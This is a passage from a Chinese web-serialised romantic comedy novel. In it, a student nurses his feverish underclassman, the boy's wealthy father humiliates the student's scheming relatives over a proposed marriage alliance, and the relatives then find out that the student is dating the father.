奚锦年一听很有道理,叹了口气,说:“虽然这样子有点对不起小时,但等他真和霍思议在一起了,他才知道和首富之子联姻的好处。” 那霍思议,他听奚玥提过不少次,有这么好的出身,没化身纨绔子弟,学习成绩还很优越,凭自己的势力考上了燕大法学系,而且也没什么陋习,属于打着灯笼都找不到的好男人。 说到这个,奚夫人就很气。 “我们这样为他考虑操心,他回过头还要怨咱们,觉得是咱们欺负他没有父母,不为他考虑,他得了便宜还卖乖,传出去又是我们做了恶人。” 奚锦年说:“没事,假如大哥还在,肯定跟我们做一样的决定,说不定都根本没这事,他早逼小时和邵寻协议结婚了。” “哼,你也说了是假如,这做叔婶,跟做后妈似的,”奚夫人怨恨道,“怎么霍思议看上的就不是玥玥呢,不然哪里有这么多事。” 霍思议哐哐打了两个喷嚏。 奚时正跟他往食堂走,听到他的喷嚏声,无奈地说:“你还是回去休息吧,你要吃什么我帮你买。” 今天下午他去医院看婶婶,刚好霍思议给他发消息问他在哪,奚时就如实说了自己在医院,霍思议立刻说他也病了,让奚时帮他带点感冒的药回来。 奚时还以为他找借口想见自己,没想到是真病了。 病了还不在宿舍好好休息,非要跟他一起去吃食堂。 霍思议吸了吸鼻子,说:“我没事的学长,小小感冒而已,打不倒我。” 奚时想了想霍景沉那锻炼得完美的胸肌腹肌肱二头肌,以及能把他弄晕的体力,感觉有其父必有其子,霍思议应该也是强壮那一挂的。 遂放心。 燕大食堂的厨师水平还可以,饭菜也做得很香,奚时就算搬出去住了,也基本还是吃食堂。 二人打好了饭菜,找了个桌子坐下,坐下时,霍思议高大的身躯晃了晃,扶了下桌子才站稳。 “没事,”见奚时投来关心的目光,霍思议说,“中午没吃饭,有点低血糖,吃点东西就好了。” “” 奚时感觉有点不对劲,等他坐下来,伸手摸他额头。 霍思议不愧是幼儿园竞争段位的选手,被学长这么一摸头,当即红了脸。 “学、学长” “别动。” 霍思议不动了,他要烧起来了。 奚时都不用摸自己的体温,就知道霍思议是发烧了,摸上去滚烫滚烫的。 看来他并没有霍景沉那样强壮的胸肌腹肌肱二头肌。 奚时无奈地说:“你头晕,都没怀疑过是发烧了吗?” “啊?”霍思议摸了一下自己的额头,“不烫啊。” “……” 奚时想他这种小少爷,估计第一次住校,不懂得照顾自己,毕竟以前随便有个不适,家庭医生就上门了,压根不需要自己照顾自己,不测量不知道自己发烧了很正常。 “先吃饭,等下我带你去校医室测一□□温。” “好。” 霍思议没什么胃口,吃了几口就面露难色,奚时知道他是病的,快速吃完了自己的,带他去校医室。 最近天气骤变,感冒的人很多,校医室充斥着人和咳嗽声,奚时在门口的自助区先买了口罩,给霍思议一个,自己也戴了一个。 校医问过了症状后,给霍思议测了一□□温,39.4°。 奚时扶额,都烧成这样了,居然还无知无觉。 “吃过药了吗?”校医问。 “没有。”霍思议说。 他中午就没胃口没吃东西,空腹吃药对药不好,他是打算和奚时吃完饭,再回去吃药的。 校医开了个单子说:“烧得有点厉害,挂个水吧,烧退得快点。” 霍思议原本想说开点退烧药就行了,但想到他要是挂水,学长就会留下来陪他了。 虽然很卑劣,但他爸为了追奚时,连PY进来当老师这种手段都用得出来,卑劣一点怎么了。 “那就挂水吧。” 说完霍思议转头看奚时:“可以吗,学长?” 问他干嘛? 奚时有种自己是连水都不让继子挂的恶毒后妈的感觉,扶额说:“当然可以。” 校医奇怪地看了他们一眼,想到什么,又似乎了然了,低头开单子。 开好药后,奚时拿着医生给的药水,去挂水的地方找护士帮霍思议挂上。 等弄好之后,奚时看霍思议烧得嘴皮都干了,便转身去外面给他倒杯热水。 他刚走一步,就被霍思议拉住衣角。 “怎么了?”奚时转头,问。 霍思议可怜巴巴的:“学长,你要走了吗?” “不是,我去外面给你倒点热水。” “哦……” 霍思议这才放开他。 奚时过了快十分钟了,才端着一杯水进来,回来就对上了霍思议眼巴巴的目光。 “不好意思,人太多了,等了一会。”奚时把水递给他。 霍思议接过来抿了一口,说:“我看学长这么久没回来,还以为……以为你先走了。” 奚时心说他不像这么不负责的人吧。 不过生病的人确实容易没安全感想七想八,奚时没计较,说:“快喝吧,喝了休息一会。” 霍思议看了一眼输液袋,说:“我看这水怎么也要挂两个小时以上,学长你要不先回去吧。” 奚时看他嘴上说着回去,脸上写着的都是“留下来吧”,有点好笑。 不过,医生开了四包水,看这四分钟也才下去一点的量,奚时感觉这水没有两个小时,是挂不完了。 说真的很想跑路。 但如果把霍思议一个病人单独丢在这里,也不好。 头大。 奚时想了一下,对霍思议伸出手:“把手机给我。” 霍思议把手机解了锁,乖乖递给奚时。 “我用一下你微信,可以吗?”奚时问。 “当然可以了,学长你用吧!” 奚时于是找到他的微信,打开,霍思议的微信还挺简单,没有乱七八糟的群和联系人,所以奚时一眼看到了那个熟悉的头像。 点开。 然后奚时发现了一个挺离谱的事情,这父子二人的聊天内容只有语音或者语音电话,一个文字都没有。 他打开拍照功能,拍了张霍思议打点滴的照片,发过去。 好好好:燕大校医务室,带上一亿现金,来赎你儿子。 发完,奚时正要把手机还给霍思议,聊天框显示对方正在输入…… 奚时动作犹豫了一下,对方的消息就回过来了。 爸:奚时? 奚时打字:废什么话,半个小时不到撕票了。 本来奚时想说十分钟的,但想到这个时间点,霍景沉应该还在下班回来的路上,就改成了半个小时。 就算今天霍景沉加班了赶不过来,应该也可以摇人过来。 那边没再回复了。 果然是一句废话都没有啊。 奚时把手机还给霍思议,霍思议也没看他用他微信干了什么,揣回兜里,看向奚时。 “所以学长你不走吗?” 奚时不忍心伤害生病脆弱的霍思议,在他旁边的空椅子上坐下来,说:“嗯,别说话了,闭上眼休息一会。” 霍思议得到了奚时的肯定答复,喜滋滋地说:“好。” 霍思议确实因为发烧很累很难受,靠着椅子,不一会儿就迷迷糊糊地睡过去了,大概是喜欢的人陪在身侧,即便身体不舒服,睡梦中还是甜丝丝的。 然而,这甜蜜的梦刚维持半个小时不到,霍思议就被一阵脚步声吵醒,接着,是他爸刻意压低了的声音。 “他怎么了?” 卧槽,他爸?! 霍思议猛然睁开眼,果然看到了他爸。 一定是他睁开眼的方式不对。 “感冒,发烧,39.4度,”奚时回答完他的问题,想到什么,从口袋里摸出一个口罩,递给霍景沉,“戴上。” 霍景沉接过来,奚时等他戴上了口罩,说:“你儿子你自己照顾,我先走了。” “等等!” 霍景沉和霍思议异口同声地叫住他。 这么有默契,不愧是父子,奚时默默吐槽完,回头:“怎么了?” 霍景沉:“我跟你一块走。” 霍思议:“学长别走。” 奚时:“” 这医务室里有好几个得了流感来挂水的学生,奚时和霍思议本来已经够吸引人的注意了,出现一个霍景沉,他们这里简直成了吸睛器,大家都在偷偷瞄他们。 奚时压低声音,对霍景沉说:“我是让你来陪他挂水的。” 霍景沉:“他都这么大人了,挂个水不需要陪。” 霍思议本来也不想要他陪,但更不想要他爸送奚时回去,于是立刻说:“我需要陪,爸,你陪我吧。” 霍景沉:“” 这什么伤敌一千自损八百的法子。 快来个收废品的把这废物大孝子收了吧。 “听到没,需要,”奚时白了霍景沉一眼,“不会做父亲就把儿子捐了。” 霍思议:“就是!” 霍景沉:“” 就很气。 要能捐谁不想捐。 奚时埋汰完霍景沉,脚步轻松地离开了医务室,留下情敌关系在先、父子关系在后的二人大眼瞪小眼。 第34章 第 34 章 气氛一时很操蛋。 霍景沉想摇人过来照顾霍思议, 不过燕大周边他并没有什么熟人,倒是可以花钱找。 但转念一想,要是被老婆看到自己丢下儿子回去了, 就要被贴上不负责任的标签,复合更遥遥无期。 算了, 逆子难得生病一次, 撒播点父爱说不定能让他心生愧疚, 不觊觎自己后妈。 这样想着,霍景沉在刚刚奚时坐的位置坐下来。 霍家人生病从没在这么简陋的地方挂过水, 连个躺着的地方都没有, 这样挂两个小时实在有点考验耐力。 看着霍思议烧得有点发红的眼尾, 霍景沉问:“需不需要请假回家休息两天?” “不用,烧退了就没事了。” 行,关心到位了,看来这儿子的耐力不错。 霍景沉刚还在回来的路上,就被奚时一条微信叫过来了, 这会儿还没吃饭,肚子在疯狂抗议。 他问霍思议:“想吃点什么?” 霍思议眼角眉梢都洋溢着得意:“我跟学长吃过了。” 很好, 这父爱, 撒给狗都比撒给他强。 空气中没有父爱,只有浓浓的雄竞味道。 霍景沉于是不再问他,拿出手机,叫人送吃的过来。 气氛一时安静下来。 霍思议盯着滴液一滴一滴落下来, 生病迟钝的脑子忽然灵光一闪, 想到什么, 拿出手机,打开和霍景沉的微信聊天框。 果然, 他看到半个多小时前,奚时给他爸的聊天内容。 霍思议忍不住笑出声。 “爸,怎么学长需要用我的微信给你发消息,是因为你们没好友吗?” 霍景沉:“” 大孝子一脸乐开花的表情:“你不是也在追学长吗,为什么会连个好友都没有啊。” 霍景沉冷着脸,拿出手机。 “我确实没他好友,但我有另一个人的。” “谁?”霍思议疑惑。 霍景沉在手机上按了几下,把屏幕转过来给他看。 微信界面停留在一个备注为“赵千松”的人的聊天框上,下面已经输入了一行字:给我把尾号5124的那张黑卡冻结掉。 赵千松是负责打理他们家财务的理财公司财务长,5124是霍思议的黑卡尾号。 霍景沉:“笑啊,怎么不笑了?” 霍思议:“……” 笑不出来。 卑鄙!恶毒!居然用这种手段威胁他! 有钱了不起啊! 好吧,确实了不起。 霍思议只能无能狂怒地小声逼逼:“他迟早是我的!” 就跟你的钱也迟早是我的一样! 霍景沉:“嗤——” 气氛又诡异安静下来。 父子两一个没老婆微信,一个被拿捏住了经济命脉,达到了微妙的平衡,暂时休战。 只有奚时最轻松,他迈着愉悦的步伐,刚走出校门,接到了他发小秦铭天的电话。 秦铭天一开口就是哀嚎:“哥们,无家可归了,收留我两天吧。” 奚时问:“怎么了?” 秦铭天哭唧唧:“今天我闲得慌,开我爸的二姨太出去装了个逼,不小心被刮了,我爸说要重新衡量一下我们父子关系,并把我赶了出来。” 奚时:“……” 秦父是个爱车狂,车库里各种各样的藏车,并依照喜爱程度,依次排名大姨太,二姨太,三姨太…… 二姨太,光是听着这排名,也知道他爸超爱。 现在秦铭天把二姨太开出去被刮了,他都不敢想象秦铭天会死多惨。 阿门。 “那你过来吧。” 秦铭天麻溜地过来了,还是打车过来的,岂一个惨字了得。 奚时对着他的脸左看右看,看完失望地说:“叔叔没给你两巴掌啊。” “呵!手都举起来了,还好我脚底抹油跑得快,唉,亲生的车子捡来的娃,我好惨。” 奚时怜爱地摸了摸他的狗头。 秦铭天以前就赖在奚时这里住过,轻车熟路地去奚时衣柜里找睡衣,洗澡。 奚时也洗了个澡,等他洗完躺在床上玩手机时,看到霍思远十分钟前给他发了两条消息。 霍思远:[图片] 霍思远:这个宴会我需要去吗? 奚时放大图片,发现是叔叔也给霍思远和田苒发了下周珍珠婚宴的邀请函。 霍思远和田苒上次有来参加奚玥的生日派对,奚锦年会给他发请柬并不奇怪。 你咋不上天:不用去。 你咋不上天:抱歉,给你添麻烦了。 霍思远:别别别,别这样说! 霍思远:大家都是一家人,能帮助你是小弟的荣幸。 奚时:“……” 谁跟你这姓霍的是一家人!哼! 霍思远:不过我不去确定没关系吗?你那堂妹…… 霍思远没说他那堂妹怎么样,大概是觉得一言难尽。 毕竟上次他被迫去那样子一个小场子捧场,就是因这个堂妹而起。 关键是他去了那堂妹还老大不高兴,想要霍思议,也不看看自己什么档次,就敢肖想霍思议。 说真的,要不是提前了解了奚时,光是这堂妹一个人,霍思远就要拉黑整个奚家。 你咋不上天:没事,不用管她,去了更癫。 霍思远:那行吧。 现在他小叔不用隐瞒身份,想来也肯定不会任由她蹦跶伤害奚时的。 一天时间眨眼而过。 周四下午,奚锦年穿上正式的西装,携奚夫人、奚玥一起,怀着雀跃的心情,去往神秘的霍家。 奚玥自从上次遇见霍思议和奚时一起,受了打击之后心情就一直不好。 每每想到她从小欺负到大的堂兄居然能有这么好的婚姻,她就咬牙切齿,恨不能去活撕了奚时。 凭什么! 她哪里比奚时差了! 但事已成定局,她再恨也没办法,只能暗搓搓地诅咒霍思议只是小孩子心性,看上了奚时的皮囊而已,玩完就丢。 本来今天听说要来商定奚时和霍思议婚事的,奚玥好不容易平复了的心再次沸腾,觉得奚时就是在赤/裸/裸地羞辱她,让她见证他是怎么走上神阶的。 她一点都不想来,但那位神秘的霍家家主要求了是他们三个人来,奚玥也不敢忤逆这位大人物,只能心不甘情不愿地跟着来了。 奚家的车子缓缓驶入云顶花园,奚锦年三人坐在车里往外看,也和奚时第一次来这里一样,被首富的财力深深震撼道。 而且奚锦年比奚时更懂得行情,知道这里的地价,有多么寸土寸金。 车里只有司机和他们一家三口,奚锦年毫不掩饰地感叹:“这霍家真是阔气啊,比我想象的还要有钱。 奚夫人说:“可惜小时今天没来,不然他看到这里的奢华,就不会想悔婚了。” 她大病初愈,为了遮盖病气打扮得非常精致,把自己压箱底的珠宝都拿出来戴上了。 虽然没听说霍家有女主人,但首富的母亲是会时常出席一些宴会的,要是能和霍母结交一番,以后她就能进入更高端的圈子交际了。 对于她们这些贵妇而言,这就是最大的荣耀。 她见奚玥一脸郁色,握住她的手,说:“虽然霍思议没戏了,但燕京有的是青年才俊,你哥和霍思议订婚了,你还愁找不到更好的。” 奚玥咬牙:“可是没有霍思议这么好的了。” “肯定有的,乖啊,开心点,等下给霍家主留个好印象。” 奚玥不想听她妈念叨,勉强笑了下。 在三人的交谈中,车子缓缓驶入霍家主单独的庄园,停在一栋超豪华的别墅前。 霍家的管家站在家门口接待他们,和上次奚时来时满脸慈爱的笑不同,管家脸上的表情客气而疏离,搞得原本就局促的三人更加局促。 三人在管家的带领下走进客厅,霍景沉正坐在沙发上,在管家介绍这位是他们的家主霍景沉时,他们都一脸震惊。 想不到霍家家主居然这么年轻! 这么年轻居然有霍思议这么大的儿子! “坐吧。”霍景沉淡淡道。 坐下寒暄几句后,奚锦年期期艾艾地问:“今天霍家主把我们单独叫过来,是想商议小时跟令公子的婚事吧?” 霍景沉:“是的,我见过奚时了,对他很满意,希望尽快把他们的婚约定下来。” 管家差点凭空摔跟头。 他是不是听力又出问题了? 奚锦年喜出望外:“对,我的想法跟霍家主一样,希望越快定下来越好。” 霍景沉:“那两位就是同意他们的婚事了?” 奚锦年努力不让自己的笑太外露:“那是当然,包同意的。” “好,既然都同意,那两个孩子的婚约就定下来了。”霍景沉说。 事情居然如此简单就办成了,奚锦年和奚夫人互相对视一眼,都露出惊喜又欣慰的笑容。 虽然奚时说了不同意,可只要他们和霍家主把事情定下,再悔婚就等于得罪霍家。 奚时一向懂事,不会不懂权衡的。 奚锦年赶紧说:“承蒙霍家主看得起,那小时就托付给令公子了。” 霍景沉嘴角浮起一点不易觉察的冷笑,又被他温和的皮囊掩盖住。 他喝了一口管家端上来的水,说:“不过,你们也清楚,我霍家家业比较大,所以在此之前,需要签个婚前协议,二位没意见吧。” 奚锦年立刻说:“这是应该的,霍家主不提,这点我们都会主动提的。” 对于奚家来讲,他们贪图的,并不是霍家的财富,和霍思议结婚的是奚时,他得到再多钱也给不到他们的手上。 他们要的是这份关系和人脉,还有联姻带来的两家合作。 “既然如此,”霍景沉抬了抬下巴,示意他们看茶几上的三份文件,“字我签好了,奚总没问题的话签吧。” 奚锦年:? 不是,婚前协议不应该是奚时签吗,让他签是几个意思。 奚锦年也不好问,伸手拿过那文件,给了奚玥一份,他和奚夫人共同看一份。 协议封皮上,确实有霍景沉的签字和印章。 奚锦年和奚夫人都心情激动。 这协议,只要他们签下名字,他们两家的婚事就成了。 和霍家联姻啊,曾经想都不敢想的事情,如今居然心想事成了,简直和做梦一样。 二人按捺住激动的笑容,翻开协议。 看到里面的内容时,奚锦年惊呆了。 协议内容很正式,说除了双方各自给孩子的新婚赠礼为夫夫双方共同所有,其他财产均为婚前财产。 但这新婚赠礼,只见霍家给霍思议的有:99处房产、99辆豪车、99亿基金,99处在经营的产业 后面还有一大堆,全是99,看得奚锦年都快不认识9这个数字了。 而奚家给奚时的新婚赠礼,上面罗列了一模一样的,也就是说他们也必须给奚时这么多。 奚锦年的眼睛有点黑。 这他妈哪里是婚前协议,分明是抢钱协议! 偏偏霍景沉看了眼腕表,说:“时间宝贵,奚总看了没什么问题就签字吧。” 奚锦年抹了把额头上的汗,说:“新婚赠礼这里,是不是有点太多了。” “多?一点都不多,霍思议是我的独子,以后我的财产都是留给他的,我还嫌少了,只不过考虑到你们家的财力,才选择委屈思议。” “……”好一个委屈思议。 他们也想这么被委屈。 “可是,”奚夫人一脸尴尬地说,“我们给不了小时这么多。” 霍景沉闻言,脸色沉了下来。 “我虽然对你奚家不了解,但据我所知这点赠礼,你们砸个锅卖个铁,还是能凑出来的,怎么,这点礼都不想出,是想以后万一离婚,分走一半共同财产白嫖我霍家?” 奚夫人:“” 奚锦年汗流浃背了。 什么叫砸个锅卖个铁,听听这是人能说出来的话么? 他们已经感受到了霍景沉不是诚心想联姻,但大好机会在前,又不舍得放弃。 奚锦年商议道:“赠礼可不可以也划分为婚前财产?我们虽然给不了那么多,但绝对也不会想着离婚分霍公子那份。” 霍景沉脸色更沉了。 “那不行,一分钱婚内财产都不给儿媳妇,传出去我成什么了?” 奚锦年:“……” 愣是找不出反驳的点。 霍景沉察觉到了什么:“奚总,你不会是想反悔吧?” “我” 奚锦年肯定不可能答应他的,他确实很想攀上霍家这棵大树,但不是这种倾家荡产凑彩礼的方式啊! 这样攀上了又怎么样,奚时风风光光和霍思议结婚,他们一家四口去喝西北风吗? “不想出赠礼也行。”霍景沉忽然说。 奚锦年又感受到了希望,看向霍景沉。 只见霍景沉一指坐在旁边的奚玥:“我看这小姑娘挺尖酸刻薄的能镇宅,让她当赠礼给小两口看门也不错。” 奚锦年:“” 原本看霍景沉又年轻又帅,少女怀春的奚玥脸色顿时煞白。 奚家人终于彻底相信,今天霍景沉叫他们来,根本不是想谈什么订婚的事,而是想羞辱他们。 奚锦年脸上有怒意:“霍家主,我们对你客气,是敬重你的身份和地位,你不同意这门婚事可以直接说,何必这样侮辱人。” 霍景沉状态松弛地靠在沙发上:“我同意啊,现在不是你们不签字?” “”奚锦年被这话堵得嘴角抽搐。 霍景沉搞这么一出,估计就是为了让他们明白,他们不配。 但他明明可以直接拒绝,却偏偏要把他们叫过来羞辱一番。 欺人太甚! 奚锦年越想越气,站起来说:“既然霍家主根本没有诚意联姻,我们也不逗留了,告辞。” 奚夫人还有点舍不得离开,感觉霍景沉可能在考验他们。 犹豫时,又听到霍景沉不咸不淡地说:“行,奚家选择悔婚,与霍家彻底决裂,我很生气,以后两家水火不容,鱼死网破。” 奚家人:“……” 第35章 第 35 章 刚刚那叫什么欺人太甚, 现在这才叫欺人太甚。 表面水火不容,鱼死网破。 实际是爷爷打孙子,单方面吊打。 霍家想整垮奚家, 动动手指都够奚家喝一壶了。 前后路都堵得死死的,进退维艰。 刚刚他们还觉得这位传说中不近人情的霍家主温和好说话, 一点首富的架子和傲慢都没有。 现在再看他, 只觉得他像个微笑的撒旦, 没有凶恶的面目,但会在谈笑间扼住你生命的咽喉。 奚锦年想破脑袋也想不明白, 他们家怎么得罪霍家了, 为什么这位神秘的霍家主会没事来针对他们。 难道就是因为他们想和霍家联姻? 可联姻是霍思议最先提出来的, 他们只是顺势而上,霍景沉能有今天的身份地位,不至于如此不分事理。 奚锦年只能收回要离开的脚步,看向霍景沉,深吸一口气, 努力心平气和地问:“霍家主,我愚笨, 猜不透您的意思, 您有什么要求就直接说吧。” “我的要求?那当然是希望你们签字,把婚约进行到底,不然……” 不然什么? 霍景沉这下又仿佛不急了,又端起水杯悠悠地喝了一口。 在奚锦年几个殷切的目光中, 他终于开口。 “不然你们那侄子本来寄人篱下, 需要用婚姻来报恩就很惨了, 你们再把我这边受的委屈撒在他身上,给他找个有什么性/虐待癖的人联姻, 害人一生,我这几年做慈善积累的功德岂不全被你们毁了。” 这话一出,奚夫人和奚玥的脸色变了变。 只有奚锦年一头雾水,说:“霍家主说笑了,小时虽然只是我侄子,但我自认从未亏待他,选对象更是没含糊过。” 霍景沉:“有没有含糊,要不问问你家宝贝女儿?” 奚玥已经被刚刚霍景沉说送去给奚时霍思议做看门的吓傻了。 或许这话听着像玩笑,但霍景沉就是给人一种他真的做得出来的感觉。 刚刚的心情还没平复,现在又听到霍景沉这种人物居然还知道她曾经那些恶毒心思,更是花容失色。 “我,我……” “霍家主,”奚夫人赶紧说,“玥玥她只是一个小孩子,她又不懂那些,可能觉得好就介绍给她哥了,而且她哥的婚事,她哪里有说话权。” “她是没有说话权,但你有吧,奚夫人,你不也知道?”霍景沉的矛头立刻转向了她。 奚夫人还想狡辩,又听到霍景沉吐出两个字:“奚川。” 奚夫人也白了脸色。 奚锦年看到自己老婆这反应,脸色变了变:“阿沅,到底怎么回事?和小川又有什么关系?” 奚川算是奚时奚玥他们的堂兄,之前何天顺追求过他,奚川的父母总觉得何天顺这种花花公子不太靠谱,知道奚夫人和何天顺家有姻亲关系后,托她帮忙打听一下。 也是那个时候,奚夫人才知道何天顺在床上居然有那种癖好,据说把人折磨得几天都下不来床都有,她看奚川那孩子挺喜欢,不想眼睁睁看着他入火坑,就如实和奚川父母说了。 这件事,她连奚锦年都没说,霍景沉怎么会知道? 能把这些细枝末节都摸得这么清楚,奚夫人心里生出一个可怕的想法——霍景沉在帮奚时出气。 这个认知让她差点原地厥过去。 不可能,绝对不可能,奚夫人立刻否定了这个想法,奚时哪里能入得了霍景沉这种大人物的眼,奚时要是真招他喜欢,他就不会反对奚时和霍思议的联姻。 虽然霍景沉没明确反对,但他做的事情哪件不是在反对? 既然反对他们联姻,那奚时于他而言,就是一个路人,他又怎么会帮他? 霍景沉肯定只是如他自己所说,不想因为霍家这边不和奚时联姻了,他们会给奚时瞎找个不好的报复,损他功德。 越是有钱的人,越是信这些因果报应。 奚夫人想通这些,恢复了之前的镇定优雅。 她撩了下头发,说:“霍家主,以前是我糊涂了,但我保证,以后再给奚时找对象时,绝对会睁大眼睛看清楚,给他找个品行端正的。” 霍景沉没说话。 奚夫人一咬牙,说:“我有个手帕交,她夫家是珠宝世家林家,刚好她儿子过阵子回国,说起来他和小时还是青梅竹马,肯定处得来,霍家主也可以去查,他品性绝对没问题的。” 这位林公子或许家世没那么高,但他可是常青藤毕业的高材生,奚夫人本来打算让他和奚玥处处看的。 但现在为了安抚住霍景沉这尊大佛,只能暂时先把他搬出来了。 “啪!” 奚夫人的话刚落音,霍景沉方向传来一个奇怪的动静,其他人看过去,发现他居然把手上水杯的杯柄掰下来了。 掰!下!来!了! 这得是多大的力气! 奚玥想到关于他那些传言,本来就觉得他很可怕了,以及现在徒手掰杯柄的行为,简直觉得眼前的男人跟修罗恶鬼一样,眼睛都吓红了。 仿佛他掰的不是杯柄,是她的头。 霍景沉若无其事地把杯子和杯柄放在桌上,又抽纸巾擦手上流出来的血。 好,好得很啊。 他直接站起来:“管家,送客。” 说着,霍景沉也不管他们,径自上楼了。 该死的人救不了,埋了吧。 奚家人面面相觑,这是什么意思? “奚先生、奚夫人、奚小姐,请吧。” 奚锦年作为奚家的当家人,在燕京也算得上是有头有脸的人物,这会儿却不得不放下身段,对一个管家露出略显卑微的笑容。 “那个,管家,你跟霍家主久了,能不能提示我们一下,霍家主这是什么意思?” 管家刚才在旁边听了全程,当然知道霍景沉为什么生气。 管家想了想,想到霍思远跟他说的奚时和自家家主之前的关系,提醒他们:“你们可以去调查一下,奚时前阵子和谁交往过。” 奚夫人一听,眼睛里立刻冒火了:“好好好,我就知道是奚时惹的祸!” “我劝你们,在弄清事情之前,最好对奚时态度客气一点,”管家面无表情地说完,做了个请的动作,“三位,请吧。” 三个人来的时候意气风发,回去的时候灰头土脸。 上车后,奚锦年立刻拿出手机,他本来想直接打给奚时直接问的,但想到管家最后那句话,又打给了自己的助理,让他查奚时前阵子的行迹。 一查,还真有东西。 奚时居然在和邵寻退婚后,先后去酒店开过五次房! 这么高频率的开房频率,明显不正常。 想到管家说的话,奚锦年立刻让助理去问酒店要监控。 酒店的监控录像只能保持一个月,之前的已经找不到了,但最近的一次在国庆之前不久,是在燕大附近的酒店,还没一个月,助理和酒店协商后,拿到了监控,发给奚锦年。 奚锦年这会儿才从奚夫人口中知道何天顺那性/虐待的癖好,气得想扇奚夫人和奚玥一巴掌,他是真的不知道何天顺是那种人,不然当时绝对不会让奚时和他处处看。 但事已至此没办法,只能像奚夫人所说那样,以后给奚时找对象时好好把关,找品行端正的。 这个时候,助理的录像发过来了。 这是大堂的高清录像,画面非常清晰。 只见酒店的旋转门口,奚时挽着霍景沉的手,像一对热恋中的情侣一样,姿势亲密地走进酒店。 监控中的霍景沉和他们今天看到的不同,是真的从内到外散发出温和宠溺的气息。 奚时不知道说了句什么,霍景沉一脸无奈,惩罚性地在他鼻子上刮了一下,奚时就把头靠在他的肩膀上,霍景沉又伸手揉他的头。 奚锦年:“” “???” 奚锦年差点把手机丢出去。 奚夫人和奚玥也凑过来看,看了录像,也都和奚锦年一个表情。 这么一来,好像今天霍景沉一切怪异行为都说得通了。 难怪,奚夫人说要给奚时介绍青梅竹马的林家公子时,他会气到掰断杯柄。 他今天把他们叫过去,本意估计只是想破坏一下霍思议和奚时的婚事,顺便再恐吓敲打他们一番,让他们不要给奚时乱拉郎配。 结果奚夫人会错了意,踩人家的尾巴上了。 “不,不可能!” 奚玥一把抢过手机,暂停后把人物的放大,大概是想看看是不是只是一个和霍景沉长得很像的人。 看完,她直接发疯似的把手机丢出去,手机直接砸在了对面的LED电视屏幕上,发出“啪”的一声,两败俱伤。 奚锦年和奚夫人都吓了一跳,就听到奚玥疯了似的尖叫:“我不信!他们不可能有什么!奚时一定是出去做鸡勾引霍景沉来嫖他的!” 她的话刚落音,脸上挨了一巴掌。 奚玥不可置信地捂着脸:“爸,你打我?” 奚锦年打完也有点后悔,但他还是喝道:“够了!发什么疯!嫌今天别人给的下马威不够大,还想被再叫去羞辱一次是不是?” 而且,就两个人这恩爱劲,不是两情相悦根本不会有这么自然亲昵的相处方式。 这段录像是国庆前的,在国庆时,霍思议才说他要和奚时联姻 光是想想这点,奚锦年已经要晕过去了。 他甚至都不敢知道这其中发生了什么。 也不知道霍景沉会对他们做什么。 不过好歹有个思路,可以让奚时去求个情。 奚锦年现在最庆幸的,就是他没有苛待过奚时。 奚家这些鸡飞狗跳的事情,奚时都不知道,周四晚上又有选修课,不出意外的,今天学生来得特别多,奚时去的算早的,教室的三分之二已经坐满了。 特别是前排的位置,已经完全没有了 就挺离谱的。 霍景沉做什么首富啊,就应该好好地在教育事业上发光发热。 奚时进去后扫了一眼,果然在靠窗位置看到了霍思议。 他走过去,在霍思议占的座坐下来,霍思议正在玩手机,看到他,从嗓子里艰难挤出两个字:“学长。” 奚时差点笑出声。 “你嗓子都这样了,怎么还来上课?” 前两天霍思议感冒发烧,挂完水烧倒是退了,但感冒并没有好,还嗓子痛,今天就彻底失声了。 霍思议心说我不来,老流氓肯定趁机跟你培养感情。 他一周就这么一次机会见到奚时,不能让他得逞。 不能放过任何一个破坏他们感情、增进自己跟学长感情的机会。 “我、没、事。”霍思议又艰难挤出三个字。 “你别说话了,”奚时把课本从书包里拿出来,压低声音说,“反正是你爸上课,你等下偷偷睡一会。” 学长好关心自己啊! 霍思议开心得恨不得他爸现在就在他们面前,狠狠地秀给他看。 其实他现在就是嗓子哑,身体已经没有前两天那样难受了。 但学长的话要乖乖听,霍思议听话地点头,“嗯”了一声。 这时候上课铃响了,一些喜欢踩着点来上课的学生,进来一看人傻了。 霍景沉这时也走进教室,他一进来,原本还在说话的教室立刻安静下来,比教导主任进来还管用。 霍景沉先看了眼奚时这边,对上大孝子又不知道得了奚时什么便宜得意的眼神,冷漠挪开,目光又落在后面站着的同学身上,问:“你们几个站那里做什么?” 霍景沉说这话时,语气很沉静,但几个同学愣是像做错了事情一样,忍不住缩了缩脖子。 “景老师,我们没地方坐了。”一个男生小心翼翼地说。 霍景沉看了眼坐得满满当当的教室,问:“你们是我这个选修课的学生?” “是啊老师,我叫王磊,花名册上有的。” 霍景沉扫了眼旁边的花名册,确实看到了王磊这个名字。 这个教室是80人的,这个选修课才50多个学生,照理说怎么也不可能坐不下,现在不仅坐满了,甚至还有两个人的座位硬是挤了三个人的。 女生偏多很多。 一些人对上他的目光,心虚地垂下头。 霍景沉知道是怎么回事了,不过他没有毫不留情地把人赶出去,而是对那几个人说:“你们去隔壁班搬两条椅子将就一节课吧。” 几个人不敢有异议,立刻听话地出去搬椅子。 等他们回来坐下后,霍景沉说:“今天就算了,下节课开始,前面的座位留给选修课的学生,来旁听的学生只能坐后面三排的位置。” 他着重了只能两个字,又看了眼霍思议的方向。 霍思议:“” 靠,他爸绝对是公报私仇! 可是能怎么办呢,他把是这课的老师,有绝对的权威。 都怪这些看脸下饭的家伙,来旁听他爸的课又不能加学分,来凑什么热闹! 啊啊啊气死了! 奚时忍不住想扶额,这父子两个,能不能不要这么幼稚。 这霍景沉也真是坏啊,轻飘飘一句话,就把情敌从他身边支开了,堂而皇之,甚至其他同学还觉得这位老师负责又开明,真是位好老师。 只有霍思议受伤的世界达成了。 —— 隔日是周五,奚时投资的那个游戏工作室由于国庆割了一大波,向来抠抠搜搜的谢河谢主管大手一挥,请全工作室的员工去吃海鲜。 奚时和谢河认识那么久了,还是第一次见他这么大方地请客,很开心地参与了聚会。 老员工都知道最好不要和奚时喝酒,这人喝醉后会发疯,癫起来九头牛都拉不回来。 不过工作室前阵子又招了几个新员工,他们并不认识奚时,看他面生,还以为他也是新来的员工,担心他被冷落,拉着他来猜拳喝酒。 等意气风发的谢河从公司众人的敬酒中脱离开身找到奚时时,他已经喝得眼神迷离,指着一个螃蟹,非要说它是大海怪,他要代表月亮消灭它,看得众人目瞪口呆,替他尴尬的毛病都犯了。 谢河服了,赶紧把他拉出包厢,说:“祖宗,不是说好今天不喝酒吗,怎么又喝醉了?” “我没醉啊,清醒得很,你看这是1,”奚时伸出一个手指,又伸出两个,“这是2。” 谢河:“” 